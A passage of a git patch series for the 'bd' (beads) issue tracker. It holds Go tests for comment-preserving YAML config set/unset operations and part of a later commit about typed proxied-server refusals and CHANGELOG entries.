} + } + // Comments the file arrived with are the operator's, and a write that + // drops them is a committed diff nobody asked for. `bd init` writes a + // template that is nothing BUT comments, so this is the common case, + // not an exotic one. + for _, line := range strings.Split(tc.seed, "\n") { + line = strings.TrimSpace(line) + if !strings.HasPrefix(line, "#") { + continue + } + if !strings.Contains(string(body), line) { + t.Errorf("the write dropped the comment %q:\n%s", line, body) + } + } + }) + } +} + +func hasLiveFlatKey(content, key string) bool { + prefix := key + ":" + for _, line := range strings.Split(content, "\n") { + if line == strings.TrimSpace(line) && strings.HasPrefix(line, prefix) { + return true + } + } + return false +} + +// Keys the caller does not own are left exactly as written. Rewriting the whole +// file would be bd deciding how someone else's config should look. +func TestDottedWriteLeavesOtherKeysAlone(t *testing.T) { + dir := t.TempDir() + seed := "# keep this comment\nsync.branch: keep-me\ndolt.host: 10.0.0.1\nnode_id: mini\n" + if err := os.WriteFile(filepath.Join(dir, "config.yaml"), []byte(seed), 0o600); err != nil { + t.Fatalf("seed: %v", err) + } + + if err := SetYamlConfigInDir(dir, "dolt.host", "127.0.0.1"); err != nil { + t.Fatalf("set: %v", err) + } + + body, err := os.ReadFile(filepath.Join(dir, "config.yaml")) + if err != nil { + t.Fatalf("read: %v", err) + } + text := string(body) + if !strings.Contains(text, "sync.branch: keep-me") { + t.Errorf("a flat key the write does not own was rewritten:\n%s", text) + } + if !strings.Contains(text, "node_id: mini") { + t.Errorf("an unrelated key was lost:\n%s", text) + } + if got := GetStringFromDir(dir, "dolt.host"); got != "127.0.0.1" { + t.Errorf("dolt.host reads back as %q\n%s", got, text) + } +} + +func TestDottedWritePreservesExistingFlatSpelling(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, "config.yaml") + seed := "# managed by another writer\ndolt.host: 10.0.0.1\n" + if err := os.WriteFile(path, []byte(seed), 0o600); err != nil { + t.Fatalf("seed: %v", err) + } + + if err := SetYamlConfigInDir(dir, "dolt.host", "127.0.0.1"); err != nil { + t.Fatalf("set: %v", err) + } + + body, err := os.ReadFile(path) + if err != nil { + t.Fatalf("read: %v", err) + } + text := string(body) + if !strings.Contains(text, "dolt.host: 127.0.0.1") { + t.Fatalf("existing flat spelling was not updated in place:\n%s", text) + } + if strings.Contains(text, "dolt:\n") { + t.Fatalf("writer replaced the existing flat spelling with a nested mapping:\n%s", text) + } + if got := GetStringFromDir(dir, "dolt.host"); got != "127.0.0.1" { + t.Fatalf("GetStringFromDir(dolt.host) = %q, want %q", got, "127.0.0.1") + } +} + +// Updating an existing flat key must change that key's line and nothing else. +// The branch exists to leave a file other writers share alone, so rewriting the +// rest of it to bd's taste defeats the point: config.yaml is git-tracked, and a +// one-key set that re-indents unrelated sections and drops blank separators is a +// whole-file diff nobody asked for (bd-zj95 review, Finding 2). +// +// The key under test carries the trailing note, not just a bystander: an +// assertion that only watches other lines cannot see the rewritten line lose its +// own annotation, which is the one way "rewrite only this line" still destroys +// content (bd-zj95 review iteration 2, Finding 3). +func TestDottedSetOnAnExistingFlatKeyRewritesOnlyThatLine(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, "config.yaml") + seed := "# top comment\n\nnode_id: mini # trailing note\n\n# section\ndolt.host: 10.0.0.1 # staging box, do not change\n\nsync:\n branch: main\n extras:\n - a\n - b\n" + if err := os.WriteFile(path, []byte(seed), 0o600); err != nil { + t.Fatalf("seed: %v", err) + } + + if err := SetYamlConfigInDir(dir, "dolt.host", "127.0.0.1"); err != nil { + t.Fatalf("set: %v", err) + } + + body, err := os.ReadFile(path) + if err != nil { + t.Fatalf("read: %v", err) + } + want := strings.Replace(seed, "dolt.host: 10.0.0.1", "dolt.host: 127.0.0.1", 1) + if string(body) != want { + t.Errorf("a one-key set rewrote more than the key's line:\ngot:\n%s\nwant:\n%s", body, want) + } + if got := GetStringFromDir(dir, "dolt.host"); got != "127.0.0.1" { + t.Errorf("dolt.host reads back as %q\n%s", got, body) + } +} + +// The comment the line rewrite has to carry over is found by matching yaml.v3's +// parsed comment text back from the right, so a "#" the value itself contains is +// never read as the start of one. An empty value is the shape where yaml.v3 has +// no value node line to hang the comment on and puts it on the key instead. +func TestDottedSetKeepsTheTrailingCommentOnTheKeyItRewrites(t *testing.T) { + cases := []struct { + name string + seed string + want string + }{ + { + name: "note after a plain value", + seed: "dolt.host: 10.0.0.1 # staging box\nnode_id: mini\n", + want: "dolt.host: 127.0.0.1 # staging box\nnode_id: mini\n", + }, + { + name: "note after a value containing a hash", + seed: "dolt.host: 'a # b' # the real note\nnode_id: mini\n", + want: "dolt.host: 127.0.0.1 # the real note\nnode_id: mini\n", + }, + { + name: "note on a key with no value", + seed: "dolt.host:\t# not set yet\nnode_id: mini\n", + want: "dolt.host: 127.0.0.1\t# not set yet\nnode_id: mini\n", + }, + } + + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, "config.yaml") + if err := os.WriteFile(path, []byte(tc.seed), 0o600); err != nil { + t.Fatalf("seed: %v", err) + } + + if err := SetYamlConfigInDir(dir, "dolt.host", "127.0.0.1"); err != nil { + t.Fatalf("set: %v", err) + } + + body, err := os.ReadFile(path) + if err != nil { + t.Fatalf("read: %v", err) + } + if string(body) != tc.want { + t.Errorf("the rewritten line did not keep its trailing comment:\ngot:\n%s\nwant:\n%s", body, tc.want) + } + if got := GetStringFromDir(dir, "dolt.host"); got != "127.0.0.1" { + t.Errorf("dolt.host reads back as %q\n%s", got, body) + } + if got := GetStringFromDir(dir, "node_id"); got != "mini" { + t.Errorf("node_id reads back as %q\n%s", got, body) + } + }) + } +} + +// Rewriting the key's line means rewriting the line the key is ACTUALLY on, +// whatever it looks like. A quoted flat key is still that key — bd never writes +// one, but a shared config.yaml can arrive with one, and a writer that matches +// the unquoted spelling by text finds nothing and appends a second flat key +// beside the first, leaving the value it just "set" unreadable. +func TestDottedSetFindsAQuotedFlatKey(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, "config.yaml") + seed := "\"dolt.host\": 10.0.0.1\nnode_id: mini\n" + if err := os.WriteFile(path, []byte(seed), 0o600); err != nil { + t.Fatalf("seed: %v", err) + } + + if err := SetYamlConfigInDir(dir, "dolt.host", "127.0.0.1"); err != nil { + t.Fatalf("set: %v", err) + } + + body, err := os.ReadFile(path) + if err != nil { + t.Fatalf("read: %v", err) + } + if got := GetStringFromDir(dir, "dolt.host"); got != "127.0.0.1" { + t.Errorf("dolt.host reads back as %q\n%s", got, body) + } + if want := strings.Replace(seed, "10.0.0.1", "127.0.0.1", 1); string(body) != want { + t.Errorf("the write did not update the quoted key in place:\ngot:\n%s\nwant:\n%s", body, want) + } +} + +// A flat key whose value does not fit on the key's own line has no single line +// to swap. Correctness wins over formatting there: the value must still read +// back, even though the document gets marshaled and reformatted to do it. +func TestDottedSetOnAMultiLineFlatKeyStillWrites(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, "config.yaml") + seed := "dolt.host: |\n 10.0.0.1\nnode_id: mini\n" + if err := os.WriteFile(path, []byte(seed), 0o600); err != nil { + t.Fatalf("seed: %v", err) + } + + if err := SetYamlConfigInDir(dir, "dolt.host", "127.0.0.1"); err != nil { + t.Fatalf("set: %v", err) + } + + body, err := os.ReadFile(path) + if err != nil { + t.Fatalf("read: %v", err) + } + if got := GetStringFromDir(dir, "dolt.host"); got != "127.0.0.1" { + t.Errorf("dolt.host reads back as %q\n%s", got, body) + } + if got := GetStringFromDir(dir, "node_id"); got != "mini" { + t.Errorf("node_id reads back as %q\n%s", got, body) + } +} + +// A single-segment key has no nesting to do and must keep working exactly as it +// did: this is the shape most of bd's config keys have. +func TestUndottedKeysAreUnaffected(t *testing.T) { + dir := t.TempDir() + if err := os.WriteFile(filepath.Join(dir, "config.yaml"), []byte("# seed\n"), 0o600); err != nil { + t.Fatalf("seed: %v", err) + } + if err := SetYamlConfigInDir(dir, "node_id", "mini"); err != nil { + t.Fatalf("set: %v", err) + } + if got := GetStringFromDir(dir, "node_id"); got != "mini" { + body, _ := os.ReadFile(filepath.Join(dir, "config.yaml")) //nolint:errcheck // diagnostic + t.Fatalf("node_id reads back as %q\n%s", got, body) + } +} + +// Writing a dotted key nested and then being unable to unset it is the same +// round-trip break in the other direction: UnsetYamlConfig comments out the +// line matching the key, and its pattern only ever matched a FLAT +// `sync.remote:` line. Once the writer nests, an unset silently does nothing +// and the value stays live — which for sync.remote means bd keeps a remote the +// operator asked it to forget. +// The over-match cases matter as much as the removal cases, and the first +// version of this table could not express them: every case put the leaf exactly +// one level under a top-level parent, so it was blind to a walk that matched a +// leaf name at the wrong depth or under the wrong parent. Each survivor below is +// a key the unset was never asked about, and each one was destroyed — or left +// live while a bystander died — by the descent this test now pins (bd-zj95 +// review, Finding 1). +func TestUnsetRemovesADottedKeyInEveryShape(t *testing.T) { + cases := []struct { + name string + seed string + key string + // survivors are keys the unset must not touch, and the values they must + // still read back afterwards. + survivors map[string]string + }{ + {name: "nested", seed: "sync:\n remote: \"file:///origin.git\"\n", key: "sync.remote"}, + { + name: "nested among siblings", + seed: "sync:\n branch: beads-sync\n remote: \"file:///origin.git\"\n", + key: "sync.remote", + survivors: map[string]string{"sync.branch": "beads-sync"}, + }, + {name: "legacy flat", seed: "sync.remote: \"file:///origin.git\"\n", key: "sync.remote"}, + { + name: "nested with other sections", + seed: "dolt:\n port: 3307\nsync:\n remote: \"file:///origin.git\"\n", + key: "sync.remote", + survivors: map[string]string{"dolt.port": "3307"}, + }, + { + // The target is present AND a deeper key repeats its name. The walk + // used to take the deeper one and report success, so the operator + // lost sync.sub.remote and kept the sync.remote they asked to forget. + name: "deeper key repeats the leaf name", + seed: "sync:\n sub:\n remote: keep\n remote: target\n", + key: "sync.remote", + survivors: map[string]string{"sync.sub.remote": "keep"}, + }, + { + // Same shape, two spaces of indent and a scalar sibling after the + // interposed section: the target does not exist at all here, so the + // only correct outcome is to change nothing. + name: "leaf repeats under a section the key does not own", + seed: "sync:\n nested:\n remote: should-survive\n other: x\n", + key: "sync.remote", + survivors: map[string]string{"sync.nested.remote": "should-survive", "sync.other": "x"}, + }, + { + // The key's own section name repeated under a foreign top-level key. + // Segment 0 used to match at any indent, so this was read as the + // sync section and a key at a completely different path was cut. + name: "section name repeats under a foreign parent", + seed: "other:\n sync:\n remote: keep\n", + key: "sync.remote", + survivors: map[string]string{"other.sync.remote": "keep"}, + }, + { + // Both spellings present: the real dolt.host at top level and a + // namesake under `other`. The unset used to comment out both. + name: "target and namesake in the same file", + seed: "other:\n dolt:\n host: should-survive\ndolt:\n host: kill-me\n", + key: "dolt.host", + survivors: map[string]string{"other.dolt.host": "should-survive"}, + }, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, "config.yaml") + if err := os.WriteFile(path, []byte(tc.seed), 0o600); err != nil { + t.Fatalf("seed: %v", err) + } + // Whether the key was set to begin with decides what "commented out + // as documentation" can mean below: an unset of a key that was never + // there is a no-op, not a removal. + wasSet := GetStringFromDir(dir, tc.key) != "" + + t.Setenv("BEADS_DIR", dir) + if err := UnsetYamlConfig(tc.key); err != nil { + t.Fatalf("UnsetYamlConfig: %v", err) + } + + body, err := os.ReadFile(path) + if err != nil { + t.Fatalf("read: %v", err) + } + if got := GetStringFromDir(dir, tc.key); got != "" { + t.Errorf("%s still reads back as %q after unset:\n%s", tc.key, got, body) + } + leaf := tc.key[strings.LastIndex(tc.key, ".")+1:] + // The key is preserved as documentation, which is this function's + // stated contract, so it must still be visible — commented. + if wasSet && !strings.Contains(string(body), leaf+":") { + t.Errorf("unset removed the key instead of commenting it out:\n%s", body) + } + // Anything the unset was not asked about is none of its business. + for key, want := range tc.survivors { + if got := GetStringFromDir(dir, key); got != want { + t.Errorf("unset touched a key it was not asked about: %s = %q, want %q\n%s", + key, got, want, body) + } + } + }) + } +} + +// bd cannot comment out a key it cannot find by line, and it used to pretend +// otherwise in both directions: a flow-style mapping came back unchanged with a +// success exit, leaving live the value the operator asked bd to forget — the +// PR's own headline symptom — and a block scalar had its key line commented +// while the body stayed behind, re-parsing as a plain multi-line value of the +// PARENT. Say so instead, and leave the file alone (bd-zj95 review, Finding 3). +func TestUnsetRefusesShapesItCannotEdit(t *testing.T) { + cases := []struct { + name string + seed string + key string + // want is a substring the error must carry beyond the key name. + want string + }{ + {name: "flow style section", seed: "sync: {remote: \"file:///origin.git\"}\n", key: "sync.remote", want: "flow style"}, + {name: "flow style nested deeper", seed: "dolt:\n limits: {host: mini}\n", key: "dolt.limits.host", want: "flow style"}, + {name: "literal block scalar", seed: "sync:\n remote: |\n line1\n line2\n", key: "sync.remote", want: "block scalar"}, + {name: "folded block scalar", seed: "sync:\n remote: >\n line1\n", key: "sync.remote", want: "block scalar"}, + // The flat spelling reaches the same body-left-behind outcome by the + // other half of the line matcher, and the orphan lands at the top level, + // so the whole file stops parsing rather than one section. + {name: "block scalar under the flat spelling", seed: "dolt.host: |\n 10.0.0.1\nnode_id: mini\n", key: "dolt.host", want: "block scalar"}, + {name: "folded block scalar under the flat spelling", seed: "dolt.host: >\n 10.0.0.1\nnode_id: mini\n", key: "dolt.host", want: "block scalar"}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, "config.yaml") + if err := os.WriteFile(path, []byte(tc.seed), 0o600); err != nil { + t.Fatalf("seed: %v", err) + } + + t.Setenv("BEADS_DIR", dir) + err := UnsetYamlConfig(tc.key) + if err == nil { + body, _ := os.ReadFile(path) //nolint:errcheck // diagnostic + t.Fatalf("unsetting %s in a %s reported success\n%s", tc.key, tc.name, body) + } + if !strings.Contains(err.Error(), tc.key) || !strings.Contains(err.Error(), tc.want) { + t.Errorf("the error names neither the key nor the shape: %v", err) + } + + body, err := os.ReadFile(path) + if err != nil { + t.Fatalf("read: %v", err) + } + if string(body) != tc.seed { + t.Errorf("a refused unset still changed the file:\n%s", body) + } + }) + } +} + +// A shape bd cannot edit is only worth refusing when the key is actually there. +// Unsetting a key that was never set has always been a successful no-op, and a +// flow-style mapping elsewhere in the file is not the operator's problem. +func TestUnsetOfAnAbsentKeyStillSucceeds(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, "config.yaml") + seed := "sync: {branch: beads-sync}\ndolt:\n port: 3307\n" + if err := os.WriteFile(path, []byte(seed), 0o600); err != nil { + t.Fatalf("seed: %v", err) + } + + t.Setenv("BEADS_DIR", dir) + if err := UnsetYamlConfig("sync.remote"); err != nil { + t.Fatalf("UnsetYamlConfig on an unset key: %v", err) + } + body, err := os.ReadFile(path) + if err != nil { + t.Fatalf("read: %v", err) + } + if got := GetStringFromDir(dir, "sync.branch"); got != "beads-sync" { + t.Errorf("the no-op unset changed sync.branch to %q:\n%s", got, body) + } +} + +// set, unset, set is one command sequence, not three independent ones, and the +// round trip has to survive all of it. An unset comments the leaf out and leaves +// the section behind holding nothing — `sync:` and no more. The writer used to +// refuse that section, because a null is not a mapping, and fell through to the +// flat writer, which put a literal `sync.remote:` key back into the file: the +// unreadable shape, re-created one command after being fixed. bd said "Set +// sync.remote = ..." while GetStringFromDir saw nothing. +func TestSettingADottedKeyAgainAfterUnsetStaysNested(t *testing.T) { + cases := []struct { + name string + seed string + }{ + // The section is left holding nothing at all once its only leaf is + // commented out. This is the shape that broke. + {name: "section empties out", seed: "node_id: mini\n"}, + // A sibling keeps the section a mapping, so this shape always worked. + // Pin it anyway: the fix must not trade one for the other. + {name: "sibling keeps the section", seed: "sync:\n branch: beads-sync\n"}, + } + + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, "config.yaml") + if err := os.WriteFile(path, []byte(tc.seed), 0o600); err != nil { + t.Fatalf("seed: %v", err) + } + t.Setenv("BEADS_DIR", dir) + + if err := SetYamlConfigInDir(dir, "sync.remote", "file:///a.git"); err != nil { + t.Fatalf("first set: %v", err) + } + if err := UnsetYamlConfig("sync.remote"); err != nil { + t.Fatalf("unset: %v", err) + } + if got := GetStringFromDir(dir, "sync.remote"); got != "" { + body, _ := os.ReadFile(path) //nolint:errcheck // diagnostic + t.Fatalf("unset left sync.remote at %q:\n%s", got, body) + } + if err := SetYamlConfigInDir(dir, "sync.remote", "file:///b.git"); err != nil { + t.Fatalf("second set: %v", err) + } + + body, err := os.ReadFile(path) + if err != nil { + t.Fatalf("read: %v", err) + } + if got := GetStringFromDir(dir, "sync.remote"); got != "file:///b.git" { + t.Errorf("sync.remote reads back as %q after set/unset/set:\n%s", got, body) + } + for _, line := range strings.Split(string(body), "\n") { + if strings.HasPrefix(strings.TrimSpace(line), "sync.remote:") { + t.Errorf("the unreadable flat spelling came back:\n%s", body) + } + } + if tc.name == "sibling keeps the section" { + if got := GetStringFromDir(dir, "sync.branch"); got != "beads-sync" { + t.Errorf("the sibling was lost: sync.branch = %q\n%s", got, body) + } + } + }) + } +} + +// A config.yaml that is nothing but comments is not an edge case: it is what +// `bd init` writes, so it is the shape every fresh workspace's FIRST dotted +// write lands on — and config.yaml is git-tracked, so losing it is a committed +// diff the operator never asked for. +// +// yaml.v3 parses such a document to no nodes at all and keeps none of its text, +// so a writer that marshals a node tree has nothing to write back but the key it +// just added. Asserting the value reads back is not enough to catch that; the +// file is only correct if everything that was in it is still in it. +func TestFirstDottedWriteKeepsACommentOnlyFile(t *testing.T) { + seed := `# Beads Configuration File +# This file configures default behavior for all bd commands in this repository + +# Issue prefix for this repository (used by bd init) +# issue-prefix: "" + +# Use no-db mode: JSONL-only, no Dolt database +# no-db: false + +# Default actor for audit trails (overridden by BEADS_ACTOR or --actor) +# actor: "" +` + + dir := t.TempDir() + path := filepath.Join(dir, "config.yaml") + if err := os.WriteFile(path, []byte(seed), 0o600); err != nil { + t.Fatalf("seed: %v", err) + } + + // Two writes: the first lands on the comment-only file, the second on + // whatever the first produced. Both have to keep the comments. + if err := SetYamlConfigInDir(dir, "sync.remote", "file:///origin.git"); err != nil { + t.Fatalf("set sync.remote: %v", err) + } + if err := SetYamlConfigInDir(dir, "dolt.port", "3307"); err != nil { + t.Fatalf("set dolt.port: %v", err) + } + + body, err := os.ReadFile(path) + if err != nil { + t.Fatalf("read: %v", err) + } + text := string(body) + for _, line := range strings.Split(strings.TrimRight(seed, "\n"), "\n") { + if line == "" { + continue + } + if !strings.Contains(text, line) { + t.Errorf("the write dropped a line that was already in the file: %q\ngot:\n%s", line, text) + } + } + if got := GetStringFromDir(dir, "sync.remote"); got != "file:///origin.git" { + t.Errorf("sync.remote reads back as %q\n%s", got, text) + } + if got := GetStringFromDir(dir, "dolt.port"); got != "3307" { + t.Errorf("dolt.port reads back as %q\n%s", got, text) + } +} + +// When a key's own parent already holds a value there is no section to nest +// under it, and bd has nothing correct to write. It used to write the flat +// `sync.remote:` spelling and report success, so the operator was told the +// value was set and every reader that splits on the dot saw nothing. Say so +// instead, and leave the file alone. +func TestSettingUnderAScalarParentIsAnError(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, "config.yaml") + seed := "sync: enabled\n" + if err := os.WriteFile(path, []byte(seed), 0o600); err != nil { + t.Fatalf("seed: %v", err) + } + + err := SetYamlConfigInDir(dir, "sync.remote", "file:///origin.git") + if err == nil { + body, _ := os.ReadFile(path) //nolint:errcheck // diagnostic + t.Fatalf("setting sync.remote under a scalar sync reported success\n%s", body) + } + if !strings.Contains(err.Error(), "sync") { + t.Errorf("the error does not name the key in the way: %v", err) + } + + body, err := os.ReadFile(path) + if err != nil { + t.Fatalf("read: %v", err) + } + if string(body) != seed { + t.Errorf("a refused write still changed the file:\n%s", body) + } +} + +// Unset matches by line, so it has to know which lines are YAML and which are +// somebody's prose. A literal block scalar's body is data: text indented under +// `notes: |` only looks like a mapping. Commenting inside it edits the value the +// operator wrote. +func TestUnsetLeavesBlockScalarTextAlone(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, "config.yaml") + seed := "notes: |\n sync:\n remote: keep-this-text\nsync:\n remote: \"file:///origin.git\"\n" + if err := os.WriteFile(path, []byte(seed), 0o600); err != nil { + t.Fatalf("seed: %v", err) + } + + t.Setenv("BEADS_DIR", dir) + if err := UnsetYamlConfig("sync.remote"); err != nil { + t.Fatalf("UnsetYamlConfig: %v", err) + } + + body, err := os.ReadFile(path) + if err != nil { + t.Fatalf("read: %v", err) + } + text := string(body) + if !strings.Contains(text, " remote: keep-this-text") { + t.Errorf("unset rewrote text inside the notes block:\n%s", text) + } + if got := GetStringFromDir(dir, "sync.remote"); got != "" { + t.Errorf("sync.remote still reads back as %q after unset:\n%s", got, text) + } + if got := GetStringFromDir(dir, "notes"); got != "sync:\n remote: keep-this-text\n" { + t.Errorf("the notes value changed: %q\n%s", got, text) + } +} From 6f8d1534170741db5ad743bfefc8e130ba4c66f9 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 23 Sep 2026 03:19:22 -0700 Subject: [PATCH 067/624] test(proxy): harden history and remote front doors (#6293) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * test(proxy): harden history and remote front doors * fix(proxy): preserve ready claim and compact refusal contracts * fix(proxy): validate ready claim row caps preprovider * fix(proxy): key capability front door on command paths Review fixes for the proxied-server capability front door. Blocking: validateProxyCapabilitiesBeforeProvider keyed on cobra's leaf Name(), and `bd ready` and `bd mol ready --gated` share the leaf name "ready". The max-rows refusal written for the former also refused the latter for anyone with BEADS_MAX_ROWS exported — a proxy-supported command that has no --max-rows flag to refuse. Every branch and both policy tables now key on proxyCommandPath (the path below the root), with an explicit "mol ready" row saying so. The compact refusal moves from "compact" to "admin compact" for the same reason: root `bd compact` is a different command with its own proxied route, and its message now names `bd admin compact --dolt` rather than a `compact --dolt` that the root command has no flag for. Blocking: the allow path had no coverage, and it is the direction that needs it — a refusal that stops firing degrades to the older late failure, but one that fires too widely breaks a working command at the front door where nothing catches it. Added a real-command-tree allow table (a parentless cobra command has no path and matches no rule, which is how a synthetic test tree reports success for a refusal that never fired), a drift guard that every table key names a command that exists, and an e2e allow matrix running the proxy-supported set against a live managed-local proxied project, once clean and once under BEADS_MAX_ROWS=5. `bd ready` under that cap is in the same table as the control: it must still refuse. Row cap resolved once on the proxied claim path, via resolveMaxRowsQuiet rather than by hoisting the claim early-return above resolveMaxRows. The duplicate line is the malformed-BEADS_MAX_ROWS advisory, which is a side effect of resolving; the front door now resolves silently and the command body stays the sole warner, so the message appears exactly where it did before the front door existed. Hoisting would have moved the `--max-rows -1` usage rejection back behind provider construction and regressed TestReadyClaimValidatesMaxRowsBeforeProvider, which this PR added. Also folded in, all in-theme: - ProxyOutcomeNA asserts clean (it states the command lacks the flag, which is nothing to refuse), and a rule carrying neither code nor message falls back to a generic one instead of rendering as a bare "Error: " with exit 1. - The list/--repo row said notApplicable(); list_proxied_server.go refuses it. A policy table that contradicts the command is worse than a missing row. - preflight binds --json to &jsonOutput like every other command's local --json. commandJSONFlagChanged suppresses the config-driven default whenever a local --json is set, so an unbound flag left `bd preflight --json` with jsonOutput=false. - Deleted the proxied no-op in doctor.go. "doctor" is in the refusal table now, so the front door returns exit 1 before RunE ever runs. CHANGELOG records that flip (exit 0 with a stderr note becomes exit 1 with proxy.doctor.unsupported) and that --json refusals are strict JSON on stdout. - Deleted the dead tail block in validateProxyMaintenanceBeforeProvider: it could only run for a space-free path, which the table lookup above it had already handled. - TestHistoryDirectOnlyRefusalContract iterates its own expectation table, so all 13 declared rows are asserted rather than 11. - HandleProxyCapabilityError(nil) returns nil. Every AssertProxy* allow path returns nil and this wraps that return value directly, so the natural way to add the next rule -- a bare `return HandleProxyCapabilityError(AssertProxy...(...))` with no preceding `if` -- would have rendered an allowed capability as "Error: " with exit 1. Latent today: all five nil-capable call sites are guarded by conditions whose rules resolve to refused(). - The third front-door branch, the skipsStoreInit route into validateProxyMaintenanceBeforeProvider, keys on proxyCommandPath like the other two, and "doctor" joins the path list in TestProxyFrontDoorBranchesUseRealCommandPaths so the drift guard covers all three. It returns unconditionally, so a future `bd doctor` matching on the leaf name would have taken nil back from the now path-keyed validator and returned early past guardLegacyNoStoreCommand and getDoltAutoCommitMode. * test: make direct and proxied history ordering fixtures deterministic Assign distinct fixture timestamps and assert the expected newest-first sequence so same-second writes cannot make SQL/proxy parity flaky. Agent: Codex (unknown model, unknown reasoning) * test(proxy): expect scoped admin compact refusal Agent: Codex (unknown model, unknown reasoning) * fix(proxy): restore typed refusals and settle the ready --claim contract Maintainer review fixes for #6293. Major: `bd list --repo` under --proxied-server was the one live refusal this PR converted from a typed ProxyCapabilityError to a bare errors.New. The pre-provider gate covers `create` only, so runListProxiedServer is list's sole enforcement point: --json got prose on stderr instead of {"code":"proxy.repo.unsupported",...,"mutates":false} on stdout, while the PR simultaneously added a "list"/ProxyCapRepo policy row that no non-test call site could reach. The call site is typed again and keyed on the command path, which makes that row the single source of the message. list.go's wrapper now passes an already-rendered exitError through instead of re-wrapping it, so the typed refusal no longer picks up a trailing "Error: exit code 1". Major: the front door's new --claim early return contradicted ready.go, which is untouched and still refuses any positive cap "including on --claim" -- so the bypass never let a claim through. It only moved the refusal after provider setup and, with max_rows.go downgraded to HandleErrorRespectJSON, stripped the stable code: `bd ready --max-rows 5 --json` answered proxy.max_rows.unsupported while `bd ready --claim --max-rows 5 --json` answered a bare {"error":...}. One refusal, two shapes, selected by an unrelated flag. Settled toward the documented contract, and toward the pre-existing TestReadyRefusesMaxRowsUnderProxiedServerOnClaim which already pinned it: --claim is not exempt. The early return is gone and rejectResolvedMaxRowsUnderProxiedServer is typed again, so the front door and its backstop in ready.go render identically. The claim path keeps what it gained -- a malformed or negative value is still rejected before any provider work, resolved quietly so the advisory still prints exactly once. The three comments that disagreed about this contract now agree. Also folded in, all in-theme: - The create/show proxied fallbacks are typed again and marked as the dead defensive paths they are. Same downgrade, shadowed by the gate rather than live, so nothing failed when the contract left them. - compact.go's dead fallback carries the gate's corrected wording ("bd admin compact --dolt"), and the table comment no longer asserts the message did not change in the same hunk that changed it. - The "mol ready" row's comment says what the row is -- a documentation pin. Path keying is the guard it was crediting itself for. - Tests: the strict-JSON shape (code/mutates/exit) of the list --repo refusal, claim-and-bulk parity plus the backstop for the max-rows refusal, and preflight's --json binding in both directions -- including the config half end-to-end, since flag.Value.Set never sets Changed and the config default only lands inside refreshBoundCommandConfig. - CHANGELOG: #5859 sits in exactly one section again (it is not an ancestor of v1.3.0), plus an [Unreleased] entry for this PR's own user-visible deltas, including the bd preflight json-config change. --------- Co-authored-by: CI Bot Co-authored-by: Claude Opus 5 --- CHANGELOG.md | 53 ++- cmd/bd/capability_registry.go | 18 +- cmd/bd/capability_registry_history_test.go | 7 +- cmd/bd/capability_registry_test.go | 2 +- cmd/bd/compact.go | 5 +- cmd/bd/create_proxied_server.go | 6 +- cmd/bd/doctor.go | 5 - cmd/bd/errors.go | 8 + .../history_remote_frontdoor_matrix_test.go | 322 ++++++++++++- cmd/bd/list.go | 7 + cmd/bd/list_proxied_server.go | 6 +- cmd/bd/main.go | 17 +- ...nance_commands_proxied_integration_test.go | 2 +- cmd/bd/max_rows.go | 56 ++- cmd/bd/preflight.go | 9 +- cmd/bd/preflight_test.go | 100 +++++ cmd/bd/proxy_capability.go | 104 +++-- cmd/bd/proxy_capability_test.go | 425 ++++++++++++++++-- cmd/bd/ready.go | 4 +- cmd/bd/ready_proxied_server.go | 10 +- cmd/bd/show_proxied_server.go | 3 + 21 files changed, 1061 insertions(+), 108 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 9626c205d..f8314f936 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -133,16 +133,25 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 `backend_managed` is false on external proxied topologies, where the dolt server is not bd's process to report on. +- **`bd mol ready --gated` no longer refuses under `--proxied-server` when + `BEADS_MAX_ROWS` is set** + ([#6293](https://github.com/gastownhall/beads/pull/6293)). The proxied + capability front door keyed its rules on cobra's leaf name, and `bd ready` + and `bd mol ready --gated` share the leaf "ready", so the row cap refusal + written for the former also refused the latter — a proxy-supported command + with no `--max-rows` flag to refuse. Rules are keyed on the full command + path now. + ### Changed - **Proxied-server refusals now say *why* they refuse.** The JSON a refused command prints gains a `reason` field next to the existing `code`, `error` and `mutates`: `design` for a refusal that is expected to stay (shared history, multi-repo routing, destructive admin, strict `--readonly`) and - `unimplemented` for a capability gap with a named owner. Every existing code, - message and exit status is unchanged, and `reason` is absent on refusals that - report a runtime state rather than a policy, so existing consumers are - unaffected. The policy behind it moved into one registry + `unimplemented` for a capability gap with a named owner. Adding `reason` left + every existing code, message and exit status as it was, and `reason` is absent + on refusals that report a runtime state rather than a policy, so existing + consumers are unaffected. The policy behind it moved into one registry (`cmd/bd/capability_registry.go`) that every command must appear in. - **A command with no proxied-server route now fails with a typed error** (`proxy.store.unrouted`) instead of the bare string `proxy server store @@ -158,6 +167,26 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 instead of the message followed by `Error: exit code 1` and the full usage text. Exit statuses are unchanged; this applies on every topology. +- **Proxied `--repo` and row-cap refusals are typed again** + ([#6293](https://github.com/gastownhall/beads/pull/6293)). `bd list --repo` + under `--proxied-server` answers `--json` with the stable + `{"code": "proxy.repo.unsupported", …, "mutates": false}` on stdout rather + than prose on stderr, and `bd ready --claim --max-rows N` refuses with the + same `proxy.max_rows.unsupported` shape as `bd ready --max-rows N`: `--claim` + does not exempt a row cap the proxied route cannot enforce either way. +- **The proxied `bd admin compact` refusal names the command it means** + ([#6293](https://github.com/gastownhall/beads/pull/6293)). The message is now + "only 'bd admin compact --dolt' is supported in proxied-server mode"; it read + "only 'compact --dolt'", which names 